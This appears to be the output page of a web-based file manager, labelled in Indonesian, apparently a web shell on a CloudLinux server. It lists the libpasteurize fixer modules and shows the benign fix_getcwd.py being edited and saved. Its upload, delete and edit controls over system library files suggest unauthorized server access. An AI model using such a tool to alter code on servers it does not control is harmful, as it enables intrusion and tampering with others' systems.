PATH: //opt/cloudlinux/venv/lib64/python3.11/site-packages/libpasteurize/fixes
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 __init__.py
↓
X
📁 __pycache__/
X
📄 feature_base.py
↓
X
📄 fix_add_all__future__imports.py
↓
X
📄 fix_add_all_future_builtins.py
↓
X
📄 fix_add_future_standard_library_import.py
↓
X
📄 fix_annotations.py
↓
X
📄 fix_division.py
↓
X
📄 fix_features.py
↓
X
📄 fix_fullargspec.py
↓
X
📄 fix_future_builtins.py
↓
X
📄 fix_getcwd.py
↓
X
📄 fix_imports.py
↓
X
📄 fix_imports2.py
↓
X
📄 fix_kwargs.py
↓
X
📄 fix_memoryview.py
↓
X
📄 fix_metaclass.py
↓
X
📄 fix_newstyle.py
↓
X
📄 fix_next.py
↓
X
📄 fix_printfunction.py
↓
X
📄 fix_raise.py
↓
X
📄 fix_raise_.py
↓
X
📄 fix_throw.py
↓
X
📄 fix_unpacking.py
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: fix_getcwd.py
u""" Fixer for os.getcwd() -> os.getcwdu(). Also warns about "from os import getcwd", suggesting the above form. """ from lib2to3 import fixer_base from lib2to3.fixer_util import Name class FixGetcwd(fixer_base.BaseFix): PATTERN = u""" power< 'os' trailer< dot='.' name='getcwd' > any* > | import_from< 'from' 'os' 'import' bad='getcwd' > """ def transform(self, node, results): if u"name" in results: name = results[u"name"] name.replace(Name(u"getcwdu", prefix=name.prefix)) elif u"bad" in results: # Can't convert to getcwdu and then expect to catch every use. self.cannot_convert(node, u"import os, use os.getcwd() instead.") return else: raise ValueError(u"For some reason, the pattern matcher failed.")
SIMPAN PERUBAHAN